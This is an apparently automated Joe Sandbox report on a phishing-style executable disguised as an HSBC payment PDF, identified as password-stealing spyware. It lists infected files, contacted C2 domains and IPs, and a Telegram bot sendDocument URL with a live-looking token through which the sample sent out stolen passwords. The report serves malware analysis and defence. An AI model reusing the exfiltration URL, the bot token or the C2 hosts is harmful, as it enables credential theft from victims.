C:\Program Files (x86)\Common Files\Java\Java Update\jaureg.exe	100%	Avira	W32/Infector.Gen
C:\Program Files (x86)\Google\Update\Download\{8A69D345-D564-463C-AFF1-A69D9E530F96}\117.0.5938.134\117.0.5938.134_117.0.5938.132_chrome_updater.exe	100%	Avira	W32/Infector.Gen
C:\Program Files (x86)\Google\Update\1.3.36.312\GoogleUpdateBroker.exe	100%	Avira	W32/Infector.Gen
C:\Program Files (x86)\Google\Update\1.3.36.312\GoogleUpdateOnDemand.exe	100%	Avira	W32/Infector.Gen
C:\Program Files (x86)\Common Files\Oracle\Java\javapath_target_749031\javaws.exe	100%	Avira	W32/Infector.Gen
C:\Program Files (x86)\Google\Update\1.3.36.312\GoogleUpdateComRegisterShell64.exe	100%	Avira	W32/Infector.Gen
C:\Program Files (x86)\Common Files\Java\Java Update\jusched.exe	100%	Avira	W32/Infector.Gen
C:\Program Files (x86)\AutoIt3\Aut2Exe\Aut2exe.exe	100%	Avira	W32/Infector.Gen
C:\Program Files (x86)\Common Files\Oracle\Java\javapath_target_749031\java.exe	100%	Avira	W32/Infector.Gen
C:\Program Files (x86)\AutoIt3\AutoIt3Help.exe	100%	Avira	W32/Infector.Gen
C:\Program Files (x86)\AutoIt3\Au3Info.exe	100%	Avira	W32/Infector.Gen
C:\Program Files (x86)\AutoIt3\Au3Check.exe	100%	Avira	W32/Infector.Gen
C:\Program Files (x86)\Common Files\Oracle\Java\javapath_target_749031\javaw.exe	100%	Avira	W32/Infector.Gen
C:\Program Files (x86)\Common Files\Oracle\Java\javapath_target_749031\java.exe	100%	Joe Sandbox ML
C:\Program Files (x86)\AutoIt3\SciTE\SciTE.exe	100%	Joe Sandbox ML
C:\Program Files (x86)\Google\Update\1.3.36.312\GoogleUpdateCore.exe	100%	Joe Sandbox ML
C:\Program Files (x86)\Java\jre-1.8\bin\javacpl.exe	100%	Joe Sandbox ML
C:\Program Files (x86)\Java\jre-1.8\bin\jabswitch.exe	100%	Joe Sandbox ML
C:\Program Files (x86)\Common Files\Adobe\ARM\1.0\AdobeARMHelper.exe	100%	Joe Sandbox ML
C:\Program Files (x86)\Common Files\Java\Java Update\jucheck.exe	100%	Joe Sandbox ML
C:\Program Files (x86)\Common Files\Adobe\ARM\1.0\armsvc.exe	100%	Joe Sandbox ML
C:\Program Files (x86)\AutoIt3\AutoIt3_x64.exe	100%	Joe Sandbox ML
C:\Program Files (x86)\AutoIt3\Au3Info_x64.exe	100%	Joe Sandbox ML
C:\Program Files (x86)\Common Files\Oracle\Java\javapath_target_749031\javaw.exe	100%	Joe Sandbox ML
C:\Program Files (x86)\Common Files\Oracle\Java\javapath_target_749031\javaws.exe	100%	Joe Sandbox ML
C:\Program Files (x86)\Google\Update\Download\{8A69D345-D564-463C-AFF1-A69D9E530F96}\117.0.5938.134\117.0.5938.134_117.0.5938.132_chrome_updater.exe	100%	Joe Sandbox ML
C:\Program Files (x86)\Google\Update\1.3.36.312\GoogleCrashHandler.exe	100%	Joe Sandbox ML
C:\Program Files (x86)\Google\Update\1.3.36.312\GoogleCrashHandler64.exe	100%	Joe Sandbox ML
C:\Program Files (x86)\Java\jre-1.8\bin\java-rmi.exe	100%	Joe Sandbox ML
C:\Program Files (x86)\Google\Update\1.3.36.312\GoogleUpdate.exe	100%	Joe Sandbox ML
C:\Program Files (x86)\AutoIt3\Aut2Exe\Aut2exe_x64.exe	100%	Joe Sandbox ML
C:\Program Files (x86)\Common Files\Java\Java Update\jaureg.exe	100%	Joe Sandbox ML
C:\Program Files (x86)\Google\Update\Download\{8A69D345-D564-463C-AFF1-A69D9E530F96}\117.0.5938.134\117.0.5938.134_117.0.5938.132_chrome_updater.exe	100%	Joe Sandbox ML
C:\Program Files (x86)\Google\Update\1.3.36.312\GoogleUpdateBroker.exe	100%	Joe Sandbox ML
C:\Program Files (x86)\Google\Update\1.3.36.312\GoogleUpdateOnDemand.exe	100%	Joe Sandbox ML
C:\Program Files (x86)\Common Files\Oracle\Java\javapath_target_749031\javaws.exe	100%	Joe Sandbox ML
C:\Program Files (x86)\Google\Update\1.3.36.312\GoogleUpdateComRegisterShell64.exe	100%	Joe Sandbox ML
C:\Program Files (x86)\Common Files\Java\Java Update\jusched.exe	100%	Joe Sandbox ML
C:\Program Files (x86)\AutoIt3\Aut2Exe\Aut2exe.exe	100%	Joe Sandbox ML
C:\Program Files (x86)\Common Files\Oracle\Java\javapath_target_749031\java.exe	100%	Joe Sandbox ML
C:\Program Files (x86)\AutoIt3\AutoIt3Help.exe	100%	Joe Sandbox ML
C:\Program Files (x86)\AutoIt3\Au3Info.exe	100%	Joe Sandbox ML
C:\Program Files (x86)\AutoIt3\Au3Check.exe	100%	Joe Sandbox ML
C:\Program Files (x86)\Common Files\Oracle\Java\javapath_target_749031\javaw.exe	100%	Joe Sandbox ML

Source	Detection	Scanner	Label
http://18.141.10.107/8Va&	0%	Avira URL Cloud	safe
http://ww99.przvgke.biz/K	100%	Avira URL Cloud	malware
https://scss.adobesc.comhttps://scss.adobesc.comhttps://scss.adobesc.com	0%	Avira URL Cloud	safe
http://54.244.188.177/NU$	0%	Avira URL Cloud	safe
https://PrefSyncJob/com.adobe.acrobat.ADotCom/Resource/Sync/Upload	0%	Avira URL Cloud	safe
http://ww12.przvgke.biz/opymuwnb?usid=26&utid=9416579686	100%	Avira URL Cloud	malware
http://54.244.188.177/leanpmxsxneexgiv	0%	Avira URL Cloud	safe
http://82.112.184.197/hncx	0%	Avira URL Cloud	safe
https://scss.adobesc.com0	0%	Avira URL Cloud	safe
https://scss.adobesc.cominvalidAnnotIdList	0%	Avira URL Cloud	safe
https://scss.adobesc.comAcroCoreSyncSharedReviewLoggingEnabledAcrobat_DesktopUserhttps://comments.ad	0%	Avira URL Cloud	safe
http://ww99.przvgke.biz/opymuwnb	100%	Avira URL Cloud	malware
https://PrefSyncJob/com.adobe.acrobat.ADotCom/Resource/Sync/Pref/StateMachinehttps://PrefSyncJob/com	0%	Avira URL Cloud	safe
http://54.244.188.177/mgppdv	0%	Avira URL Cloud	safe
http://82.112.184.197/OV	0%	Avira URL Cloud	safe
http://172.234.222.138/	0%	Avira URL Cloud	safe
http://54.244.188.177/I$o	0%	Avira URL Cloud	safe
http://44.221.84.105/	0%	Avira URL Cloud	safe
http://44.221.84.105/bd	0%	Avira URL Cloud	safe
https://scss.adobesc.comemptyAnnotations	0%	Avira URL Cloud	safe
https://scss.adobesc.comK	0%	Avira URL Cloud	safe
https://PrefSyncJob/com.adobe.acrobat.ADotCom/Resource/Sync/RFList	0%	Avira URL Cloud	safe
https://PrefSyncJob/com.adobe.acrobat.ADotCom/Resource/Sync/Pref/StateMachine	0%	Avira URL Cloud	safe
http://172.234.222.138/3VX&	0%	Avira URL Cloud	safe
https://scss.adobesc.comReadStatus	0%	Avira URL Cloud	safe
https://scss.adobesc.comcommandNameAdd_AnnotsDelete_AnnotsUpdate_AnnotsEurekaReviewFetchReviewUpdate	0%	Avira URL Cloud	safe
https://lifecycleapp.operationlifecycle.shutdownlifecycle.startuptimer.starttimertimer.stoppedtimer.	0%	Avira URL Cloud	safe
http://ww12.przvgke.biz/?ts=fENsZWFuUGVwcGVybWludEJsYWNrfHw1Y2U4NHxidWNrZXQwNjZ8fHx8fHw2NzU4NWQyYmRm	100%	Avira URL Cloud	malware
http://54.244.188.177:80/mgppdv	0%	Avira URL Cloud	safe
http://18.141.10.107/3VX&	0%	Avira URL Cloud	safe
http://82.112.184.197/fprrydnqfsccl	0%	Avira URL Cloud	safe
http://18.141.10.107/tydyiliq1	0%	Avira URL Cloud	safe
http://18.141.10.107/tydyiliq	0%	Avira URL Cloud	safe
http://54.244.188.177/3VX&	0%	Avira URL Cloud	safe
http://ww12.przvgke.biz/	100%	Avira URL Cloud	malware

Domains and IPs

Contacted Domains

Name	IP	Active	Malicious	Reputation
przvgke.biz	172.234.222.138	true	false	high
ssbzmoy.biz	18.141.10.107	true	false	high
knjghuig.biz	18.141.10.107	true	false	high
vjaxhpbji.biz	82.112.184.197	true	false	high
pywolwnvd.biz	54.244.188.177	true	false	high
reallyfreegeoip.org	104.21.67.152	true	false	high
ifsaia.biz	13.251.16.150	true	false	high
checkip.dyndns.com	193.122.6.168	true	false	high
cvgrf.biz	54.244.188.177	true	false	high
ww99.przvgke.biz	72.52.179.174	true	false	unknown
lpuegx.biz	82.112.184.197	true	false	high
ww99.fwiwk.biz	72.52.179.174	true	false	unknown
saytjshyf.biz	44.221.84.105	true	false	high
084725.parkingcrew.net	76.223.26.96	true	false	high
xlfhhhm.biz	47.129.31.212	true	false	high
fwiwk.biz	172.234.222.143	true	false	high
vcddkls.biz	18.141.10.107	true	false	high
npukfztj.biz	44.221.84.105	true	false	high
api.telegram.org	149.154.167.220	true	false	high
ww12.fwiwk.biz	unknown	unknown	true	unknown
zlenh.biz	unknown	unknown	false	high
checkip.dyndns.org	unknown	unknown	false	high
uhxqin.biz	unknown	unknown	false	high
ww12.przvgke.biz	unknown	unknown	true	unknown
anpmnmxo.biz	unknown	unknown	false	high

Contacted URLs

Name	Malicious	Reputation
http://xlfhhhm.biz/sqemlirtfccimfo	false	high
http://lpuegx.biz/hncx	false	high
http://saytjshyf.biz/peioi	false	high
https://api.telegram.org/bot7471415635:AAEA2wRbrQkd9OwoRD_hL1tDceuiErS34CY/sendDocument?chat_id=1613755033&caption=user%20/%20Passwords%20/%208.46.123.175	false	high
http://przvgke.biz/opymuwnb	false	high
http://fwiwk.biz/mepglnjkcg	false	high
http://checkip.dyndns.org/	false	high
http://przvgke.biz/meqybx	false	high
http://vjaxhpbji.biz/hptny	false	high
http://pywolwnvd.biz/mgppdv	false	high
http://npukfztj.biz/bd	false	high
http://vjaxhpbji.biz/kp	false	high
http://ssbzmoy.biz/udp	false	high
http://cvgrf.biz/hfsfqfqbrwib	false	high
http://pywolwnvd.biz/leanpmxsxneexgiv	false	high
https://reallyfreegeoip.org/xml/8.46.123.175	false	high
http://lpuegx.biz/fprrydnqfsccl	false	high
http://knjghuig.biz/tydyiliq	false	high
http://ifsaia.biz/vcyisuboorqd	false	high
http://vcddkls.biz/ymdlhl	false	high

URLs from Memory and Binaries

Name	Source	Malicious	Antivirus Detection	Reputation
https://api.telegram.org	RegSvcs.exe, 00000005.00000002.2636185001.000000000289B000.00000004.00000800.00020000.00000000.sdmp	false		high
http://18.141.10.107/8Va&	armsvc.exe, 00000004.00000003.1382519180.0000000000865000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://api.telegram.org/bot	RegSvcs.exe, 00000005.00000002.2636185001.000000000289B000.00000004.00000800.00020000.00000000.sdmp	false		high
http://ww99.przvgke.biz/K	armsvc.exe, 00000004.00000003.1501311933.00000000008A3000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: malware	unknown
https://scss.adobesc.comhttps://scss.adobesc.comhttps://scss.adobesc.com	AdobeCollabSync.exe.4.dr	false	Avira URL Cloud: safe	unknown
http://knjghuig.biz/	armsvc.exe, 00000004.00000003.1538967838.00000000008A0000.00000004.00000020.00020000.00000000.sdmp, armsvc.exe, 00000004.00000003.1992416564.00000000008A0000.00000004.00000020.00020000.00000000.sdmp	false		high
https://api.telegram.org/bot7471415635:AAEA2wRbrQkd9OwoRD_hL1tDceuiErS34CY/sendDocument?chat_id=1613	RegSvcs.exe, 00000005.00000002.2636185001.000000000289B000.00000004.00000800.00020000.00000000.sdmp	false		high
http://54.244.188.177/leanpmxsxneexgiv	armsvc.exe, 00000004.00000003.1354308285.000000000085F000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://scss.adobesc.cominvalidAnnotIdList	AdobeCollabSync.exe.4.dr	false	Avira URL Cloud: safe	unknown
https://PrefSyncJob/com.adobe.acrobat.ADotCom/Resource/Sync/Upload	AdobeCollabSync.exe.4.dr	false	Avira URL Cloud: safe	unknown
http://54.244.188.177/NU$	HSBC Payment Notification Scan Copy Ref 62587299-24_PDF.exe, 00000000.00000002.1346822252.0000000000B8B000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://ww12.przvgke.biz/opymuwnb?usid=26&utid=9416579686	armsvc.exe, 00000004.00000003.1501311933.00000000008A3000.00000004.00000020.00020000.00000000.sdmp, armsvc.exe, 00000004.00000003.1538967838.00000000008A0000.00000004.00000020.00020000.00000000.sdmp, armsvc.exe, 00000004.00000003.1992416564.00000000008A0000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: malware	unknown
https://scss.adobesc.comreasoncom.adobe.review.sdk	AdobeCollabSync.exe.4.dr	false		high
http://18.141.10.107/	armsvc.exe, 00000004.00000003.1382519180.0000000000865000.00000004.00000020.00020000.00000000.sdmp, armsvc.exe, 00000004.00000003.1538967838.00000000008A0000.00000004.00000020.00020000.00000000.sdmp	false		high
http://82.112.184.197/hncx	armsvc.exe, 00000004.00000003.1992970471.0000000000873000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://scss.adobesc.com	AdobeCollabSync.exe.4.dr	false		high
https://scss.adobesc.com0	AdobeCollabSync.exe.4.dr	false	Avira URL Cloud: safe	unknown
https://scss.adobesc.comAcroCoreSyncSharedReviewLoggingEnabledAcrobat_DesktopUserhttps://comments.ad	AdobeCollabSync.exe.4.dr	false	Avira URL Cloud: safe	unknown
http://ww99.przvgke.biz/opymuwnb	armsvc.exe, 00000004.00000003.1501939823.00000000008A0000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: malware	unknown
http://checkip.dyndns.org/q	HSBC Payment Notification Scan Copy Ref 62587299-24_PDF.exe, 00000000.00000002.1347642495.0000000003E70000.00000004.00001000.00020000.00000000.sdmp, RegSvcs.exe, 00000005.00000002.2590084027.0000000000402000.00000040.80000000.00040000.00000000.sdmp	false		high
http://reallyfreegeoip.org	RegSvcs.exe, 00000005.00000002.2636185001.00000000027E2000.00000004.00000800.00020000.00000000.sdmp	false		high
https://PrefSyncJob/com.adobe.acrobat.ADotCom/Resource/Sync/Pref/StateMachinehttps://PrefSyncJob/com	AdobeCollabSync.exe.4.dr	false	Avira URL Cloud: safe	unknown
https://scss.adobesc.comemptyAnnotations	AdobeCollabSync.exe.4.dr	false	Avira URL Cloud: safe	unknown
http://172.234.222.138/	armsvc.exe, 00000004.00000003.1501706102.0000000000865000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://54.244.188.177/mgppdv	HSBC Payment Notification Scan Copy Ref 62587299-24_PDF.exe, 00000000.00000002.1346799710.0000000000B1C000.00000004.00000020.00020000.00000000.sdmp, HSBC Payment Notification Scan Copy Ref 62587299-24_PDF.exe, 00000000.00000002.1346822252.0000000000B93000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://checkip.dyndns.com	RegSvcs.exe, 00000005.00000002.2636185001.00000000027C0000.00000004.00000800.00020000.00000000.sdmp	false		high
http://44.221.84.105/bd	armsvc.exe, 00000004.00000003.1432419986.0000000000865000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://schemas.xmlsoap.org/ws/2005/05/identity/claims/name	RegSvcs.exe, 00000005.00000002.2636185001.0000000002741000.00000004.00000800.00020000.00000000.sdmp	false		high
http://82.112.184.197/OV	armsvc.exe, 00000004.00000003.1992970471.0000000000865000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://54.244.188.177/	armsvc.exe, 00000004.00000003.1354308285.0000000000865000.00000004.00000020.00020000.00000000.sdmp	false		high
http://44.221.84.105/	armsvc.exe, 00000004.00000003.1432419986.0000000000865000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://54.244.188.177/I$o	HSBC Payment Notification Scan Copy Ref 62587299-24_PDF.exe, 00000000.00000002.1346822252.0000000000B8B000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://reallyfreegeoip.org/xml/	HSBC Payment Notification Scan Copy Ref 62587299-24_PDF.exe, 00000000.00000002.1347642495.0000000003E70000.00000004.00001000.00020000.00000000.sdmp, RegSvcs.exe, 00000005.00000002.2590084027.0000000000402000.00000040.80000000.00040000.00000000.sdmp, RegSvcs.exe, 00000005.00000002.2636185001.00000000027C0000.00000004.00000800.00020000.00000000.sdmp	false		high
https://PrefSyncJob/com.adobe.acrobat.ADotCom/Resource/Sync/RFList	AdobeCollabSync.exe.4.dr	false	Avira URL Cloud: safe	unknown
https://scss.adobesc.comK	AdobeCollabSync.exe.4.dr	false	Avira URL Cloud: safe	unknown
https://scss.adobesc.comcommandNameAdd_AnnotsDelete_AnnotsUpdate_AnnotsEurekaReviewFetchReviewUpdate	AdobeCollabSync.exe.4.dr	false	Avira URL Cloud: safe	unknown
https://lifecycleapp.operationlifecycle.shutdownlifecycle.startuptimer.starttimertimer.stoppedtimer.	AdobeCollabSync.exe.4.dr	false	Avira URL Cloud: safe	unknown
http://checkip.dyndns.org	RegSvcs.exe, 00000005.00000002.2636185001.00000000027B4000.00000004.00000800.00020000.00000000.sdmp, RegSvcs.exe, 00000005.00000002.2636185001.000000000289B000.00000004.00000800.00020000.00000000.sdmp, RegSvcs.exe, 00000005.00000002.2636185001.00000000027C0000.00000004.00000800.00020000.00000000.sdmp	false		high
http://ww12.przvgke.biz/?ts=fENsZWFuUGVwcGVybWludEJsYWNrfHw1Y2U4NHxidWNrZXQwNjZ8fHx8fHw2NzU4NWQyYmRm	armsvc.exe, 00000004.00000003.1488845823.0000000002370000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: malware	unknown
https://pcnatrk.net/track.	armsvc.exe, 00000004.00000003.1488845823.0000000002370000.00000004.00000020.00020000.00000000.sdmp	false		high
http://172.234.222.138/3VX&	armsvc.exe, 00000004.00000003.1501706102.0000000000865000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://scss.adobesc.comReadStatus	AdobeCollabSync.exe.4.dr	false	Avira URL Cloud: safe	unknown
https://PrefSyncJob/com.adobe.acrobat.ADotCom/Resource/Sync/Pref/StateMachine	AdobeCollabSync.exe.4.dr	false	Avira URL Cloud: safe	unknown
https://reallyfreegeoip.org	RegSvcs.exe, 00000005.00000002.2636185001.00000000027C0000.00000004.00000800.00020000.00000000.sdmp	false		high
http://www.winimage.com/zLibDll	armsvc.exe, 00000004.00000003.1693479400.0000000001F90000.00000004.00001000.00020000.00000000.sdmp	false		high
http://18.141.10.107/3VX&	armsvc.exe, 00000004.00000003.1382519180.0000000000865000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://54.244.188.177:80/mgppdv	HSBC Payment Notification Scan Copy Ref 62587299-24_PDF.exe, 00000000.00000002.1346822252.0000000000B93000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://18.141.10.107/tydyiliq1	armsvc.exe, 00000004.00000003.1538799340.0000000000873000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://18.141.10.107/tydyiliq	armsvc.exe, 00000004.00000003.1538799340.0000000000873000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://82.112.184.197/fprrydnqfsccl	armsvc.exe, 00000004.00000003.1992416564.000000000087B000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://api.telegram.org	RegSvcs.exe, 00000005.00000002.2636185001.000000000289B000.00000004.00000800.00020000.00000000.sdmp	false		high
http://54.244.188.177/3VX&	armsvc.exe, 00000004.00000003.1354308285.0000000000865000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://ww12.przvgke.biz/	armsvc.exe, 00000004.00000003.1501311933.00000000008A3000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: malware	unknown
https://api.telegram.org/bot-/sendDocument?chat_id=	HSBC Payment Notification Scan Copy Ref 62587299-24_PDF.exe, 00000000.00000002.1347642495.0000000003E70000.00000004.00001000.00020000.00000000.sdmp, RegSvcs.exe, 00000005.00000002.2590084027.0000000000402000.00000040.80000000.00040000.00000000.sdmp	false		high
https://parking3.parklogic.com/page/enhance.js?pcId=12&domain=przvgke.biz	armsvc.exe, 00000004.00000003.1488845823.0000000002370000.00000004.00000020.00020000.00000000.sdmp, armsvc.exe, 00000004.00000003.1488451296.0000000002050000.00000004.00001000.00020000.00000000.sdmp	false		high
http://82.112.184.197/	armsvc.exe, 00000004.00000003.1992970471.0000000000865000.00000004.00000020.00020000.00000000.sdmp	false		high

World Map of Contacted IPs

No. of IPs < 25%
25% < No. of IPs < 50%
50% < No. of IPs < 75%
75% < No. of IPs

Public IPs

IP	Domain	Country	ASN	ASN Name	Malicious
193.122.6.168	checkip.dyndns.com	United States	31898	ORACLE-BMC-31898US	false
172.234.222.143	fwiwk.biz	United States	20940	AKAMAI-ASN1EU	false
72.52.179.174	ww99.przvgke.biz	United States	32244	LIQUIDWEBUS	false
172.234.222.138	przvgke.biz	United States	20940	AKAMAI-ASN1EU	false
149.154.167.220	api.telegram.org	United Kingdom	62041	TELEGRAMRU	false
76.223.26.96	084725.parkingcrew.net	United States	16509	AMAZON-02US	false
104.21.67.152	reallyfreegeoip.org	United States	13335	CLOUDFLARENETUS	false
44.221.84.105	saytjshyf.biz	United States	14618	AMAZON-AESUS	false
54.244.188.177	pywolwnvd.biz	United States	16509	AMAZON-02US	false
13.251.16.150	ifsaia.biz	United States	16509	AMAZON-02US	false
47.129.31.212	xlfhhhm.biz	Canada	34533	ESAMARA-ASRU	false
82.112.184.197	vjaxhpbji.biz	Russian Federation	43267	FIRST_LINE-SP_FOR_B2B_CUSTOMERSUPSTREAMSRU	false
18.141.10.107	ssbzmoy.biz	United States	16509	AMAZON-02US	false

General Information

Joe Sandbox version:	41.0.0 Charoite
Analysis ID:	1572492
Start date and time:	2024-12-10 16:23:07 +01:00
Joe Sandbox product:	CloudBasic
Overall analysis duration:	0h 13m 31s
Hypervisor based Inspection enabled:	false
Report type:	full
Cookbook file name:	default.jbs
Analysis system description:	Windows 10 x64 22H2 with Office Professional Plus 2019, Chrome 117, Firefox 118, Adobe Reader DC 23, Java 8 Update 381, 7zip 23.01
Number of analysed new started processes analysed:	35
Number of new started drivers analysed:	0
Number of existing processes analysed:	0
Number of existing drivers analysed:	0
Number of injected processes analysed:	0
Technologies:	HCA enabled EGA enabled AMSI enabled
Analysis Mode:	default
Analysis stop reason:	Timeout
Sample name:	HSBC Payment Notification Scan Copy Ref 62587299-24_PDF.exe
Detection:	MAL
Classification:	mal100.spre.troj.spyw.expl.evad.winEXE@20/165@24/13
EGA Information:	Successful, ratio: 88.9%
HCA Information:	Failed
Cookbook Comments:	Found application associated with file extension: .exe

Warnings

Behavior information exceeds normal sizes, reducing to normal. Report will have missing behavior information.
Exclude process from analysis (whitelisted): MpCmdRun.exe, SearchFilterHost.exe, dllhost.exe, DiagnosticsHub.StandardCollector.Service.exe, SIHClient.exe, VSSVC.exe, SearchIndexer.exe, SearchProtocolHost.exe, WMIADAP.exe, SgrmBroker.exe, conhost.exe, WmiApSrv.exe, svchost.exe
Excluded IPs from analysis (whitelisted): 13.107.246.63, 172.202.163.200
Excluded domains from analysis (whitelisted): otelrules.azureedge.net, slscr.update.microsoft.com, ctldl.windowsupdate.com, time.windows.com, fe3cr.delivery.mp.microsoft.com
Execution Graph export aborted for target armsvc.exe, PID 6336 because there are no executed function
Not all processes where analyzed, report is missing behavior information
Report size exceeded maximum capacity and may have missing behavior information.
Report size exceeded maximum capacity and may have missing disassembly code.
Report size getting too big, too many NtAllocateVirtualMemory calls found.
Report size getting too big, too many NtOpenFile calls found.
Report size getting too big, too many NtOpenKeyEx calls found.
Report size getting too big, too many NtQueryValueKey calls found.
Report size getting too big, too many NtReadFile calls found.
Report size getting too big, too many NtReadVirtualMemory calls found.
Report size getting too big, too many NtSetInformationFile calls found.
Report size getting too big, too many NtWriteFile calls found.
Some HTTP raw data packets have been limited to 10 per session. Please view the PCAPs for the complete data.
VT rate limit hit for: HSBC Payment Notification Scan Copy Ref 62587299-24_PDF.exe

Simulations

Behavior and APIs

Time	Type	Description
10:24:13	API Interceptor	14x Sleep call for process: armsvc.exe modified
10:24:21	API Interceptor	83100x Sleep call for process: perfhost.exe modified
10:24:23	API Interceptor	239435x Sleep call for process: RegSvcs.exe modified
11:33:06	API Interceptor	200x Sleep call for process: msdtc.exe modified

Joe Sandbox View / Context

IPs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
193.122.6.168	New_Order_List.exe	Get hash	malicious	Snake Keylogger	Browse	checkip.dyndns.org/
	file.exe	Get hash	malicious	Snake Keylogger	Browse	checkip.dyndns.org/
	Payment Confirmation..docm	Get hash	malicious	Snake Keylogger	Browse	checkip.dyndns.org/
	1733755327131807265395c8beb00b001ee74b7ae39a6579109a5e4a352d4399291272954e392.dat-decoded.exe	Get hash	malicious	Snake Keylogger	Browse	checkip.dyndns.org/
	Lenticels.exe	Get hash	malicious	Snake Keylogger	Browse	checkip.dyndns.org/
	SIPARIS TEYIT FORMU VE PROFORMA FATURA.exe	Get hash	malicious	MassLogger RAT	Browse	checkip.dyndns.org/
	Bank Swift and SOA PRN00720031415453_pdf.exe	Get hash	malicious	GuLoader, MassLogger RAT	Browse	checkip.dyndns.org/
	QUOTATION_DECQTRA071244PDF.scr.exe	Get hash	malicious	Snake Keylogger	Browse	checkip.dyndns.org/
	QUOTATION_DECQTRA071244 PDF.scr.exe	Get hash	malicious	Snake Keylogger	Browse	checkip.dyndns.org/
	TEKL_F _STE_I Unilever San ve Tic Trk A__PDF.exe	Get hash	malicious	Snake Keylogger, VIP Keylogger	Browse	checkip.dyndns.org/
172.234.222.143	PURCHASE REQUIRED DETAILS 000487958790903403.exe	Get hash	malicious	DBatLoader, MassLogger RAT, PureLog Stealer	Browse	przvgke.biz/fauopp
	invoice_96.73.exe	Get hash	malicious	FormBook	Browse	fwiwk.biz/kbtuvb
	Order SMG 201906 20190816order.pdf.scr.exe	Get hash	malicious	AgentTesla, MassLogger RAT, PureLog Stealer	Browse	fwiwk.biz/lrhpwoxhabbo
	C6dAUcOA6M.exe	Get hash	malicious	AgentTesla, DBatLoader, PureLog Stealer	Browse	przvgke.biz/dadmwtnbmefxvi
	PO #09465610_GQ 003745_SO-242000846.exe	Get hash	malicious	MassLogger RAT, PureLog Stealer	Browse	fwiwk.biz/mhwavs
	IBKB.vbs	Get hash	malicious	AgentTesla, DBatLoader, PureLog Stealer	Browse	fwiwk.biz/jwvwqanfys
	Ziraat_Bankasi_Swift_Mesaji_BXB04958T.cmd	Get hash	malicious	AgentTesla, DBatLoader, PureLog Stealer	Browse	htwqzczce.biz/qccuqoixlchlyacl
	AENiBH7X1q.exe	Get hash	malicious	PureLog Stealer, RedLine	Browse	fwiwk.biz/t
	E_dekont.cmd	Get hash	malicious	DBatLoader, Nitol, PureLog Stealer, XWorm	Browse	fwiwk.biz/fvthsigvq
	Y2EM7suNV5.exe	Get hash	malicious	MassLogger RAT	Browse	fwiwk.biz/hbfipefumdnnq

Domains

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
przvgke.biz	RFQ_PO N89397-GM7287-Order.bat.exe	Get hash	malicious	MassLogger RAT, PureLog Stealer	Browse	172.234.222.138
	invoice_96.73.exe	Get hash	malicious	FormBook	Browse	172.234.222.143
	Order SMG 201906 20190816order.pdf.scr.exe	Get hash	malicious	AgentTesla, MassLogger RAT, PureLog Stealer	Browse	172.234.222.143
	C6dAUcOA6M.exe	Get hash	malicious	AgentTesla, DBatLoader, PureLog Stealer	Browse	172.234.222.143
	PO #09465610_GQ 003745_SO-242000846.exe	Get hash	malicious	MassLogger RAT, PureLog Stealer	Browse	172.234.222.143
	IBKB.vbs	Get hash	malicious	AgentTesla, DBatLoader, PureLog Stealer	Browse	172.234.222.143
	Ziraat_Bankasi_Swift_Mesaji_BXB04958T.cmd	Get hash	malicious	AgentTesla, DBatLoader, PureLog Stealer	Browse	172.234.222.143
	Ziraat_Bankasi_Swift_Mesaji_DXB04958T.cmd	Get hash	malicious	AgentTesla, DBatLoader, PureLog Stealer	Browse	172.234.222.138
ssbzmoy.biz	PURCHASE REQUIRED DETAILS 000487958790903403.exe	Get hash	malicious	DBatLoader, MassLogger RAT, PureLog Stealer	Browse	18.141.10.107
	RFQ _ Virtue 054451000085.exe	Get hash	malicious	FormBook	Browse	18.141.10.107
	Ziraat_Swift.hta	Get hash	malicious	MassLogger RAT, PureLog Stealer	Browse	18.141.10.107
	RFQ_PO N89397-GM7287-Order.bat.exe	Get hash	malicious	MassLogger RAT, PureLog Stealer	Browse	18.141.10.107
	Ziraat_Bankasi_Swift_Mesaji_BXB04958T.exe	Get hash	malicious	AgentTesla, MassLogger RAT, PureLog Stealer	Browse	18.141.10.107
	invoice_96.73.exe	Get hash	malicious	FormBook	Browse	18.141.10.107
	Order SMG 201906 20190816order.pdf.scr.exe	Get hash	malicious	AgentTesla, MassLogger RAT, PureLog Stealer	Browse	18.141.10.107
	C6dAUcOA6M.exe	Get hash	malicious	AgentTesla, DBatLoader, PureLog Stealer	Browse	18.141.10.107
	PO #09465610_GQ 003745_SO-242000846.exe	Get hash	malicious	MassLogger RAT, PureLog Stealer	Browse	18.141.10.107
	IBKB.vbs	Get hash	malicious	AgentTesla, DBatLoader, PureLog Stealer	Browse	18.141.10.107
knjghuig.biz	PURCHASE REQUIRED DETAILS 000487958790903403.exe	Get hash	malicious	DBatLoader, MassLogger RAT, PureLog Stealer	Browse	18.141.10.107
	Ziraat_Swift.hta	Get hash	malicious	MassLogger RAT, PureLog Stealer	Browse	18.141.10.107
